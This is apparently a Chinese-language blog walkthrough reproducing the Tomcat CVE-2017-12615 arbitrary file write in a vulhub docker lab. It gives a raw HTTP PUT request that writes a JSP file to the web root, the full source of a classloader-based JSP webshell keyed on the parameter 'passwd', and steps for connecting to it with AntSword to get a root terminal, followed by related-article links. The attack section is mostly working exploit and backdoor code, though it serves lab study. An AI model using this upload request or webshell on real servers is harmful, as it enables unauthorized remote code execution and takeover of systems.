Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

文章目录

    • [Tomcat 任意写文件PUT方法 (CVE-2017-12615)](#Tomcat 任意写文件PUT方法 (CVE-2017-12615))
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 版本影响](#2 版本影响)
      • [3 环境搭建](#3 环境搭建)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问](#4.1 访问)
        • [4.2 POC攻击点](#4.2 POC攻击点)
          • [4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。](#4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。)
          • [4.2.2 访问是否通,可以访问到文件](#4.2.2 访问是否通,可以访问到文件)
      • [5 漏洞利用](#5 漏洞利用)
        • [5.1 上传jsp一句话](#5.1 上传jsp一句话)
        • [5.2 kali打开蚁剑:](#5.2 kali打开蚁剑:)
        • [5.3 连接jsp一句话木马,密码为 passwd](#5.3 连接jsp一句话木马,密码为 passwd)
        • [5.4 打开终端,获取root](#5.4 打开终端,获取root)

1 在线漏洞解读:

复制代码
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

shell 复制代码
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:

shell 复制代码
sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
复制代码
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用

5.1 上传jsp一句话
jsp 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
复制代码
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
相关推荐
白帽黑客沐瑶1 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
沐矢羽1 天前
Tomcat PUT方法任意写文件漏洞学习
学习·tomcat
lubiii_2 天前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
matlab的学徒2 天前
Web与Nginx网站服务(改)
linux·运维·前端·nginx·tomcat
云动雨颤2 天前
Spring Boot配置优化:Tomcat+数据库+缓存+日志,全场景教程
数据库·spring boot·tomcat
森林-2 天前
MyBatis 从入门到精通(第一篇)—— 框架基础与环境搭建
java·tomcat·mybatis
内心如初2 天前
应急响应事件处理(网络安全体系架构与应急响应的前置知识)
安全·web安全
ZzzZZzzzZZZzzzz…2 天前
Nginx_Tomcat综合案例
运维·nginx·tomcat·负载均衡·rhce·反向代理·https加密服务
潇I洒3 天前
若依4.8.1打包war后在Tomcat无法运行,404报错的一个解决方法
java·tomcat·ruoyi·若依·404
Suckerbin3 天前
TBBT: FunWithFlags靶场渗透
笔记·安全·web安全·网络安全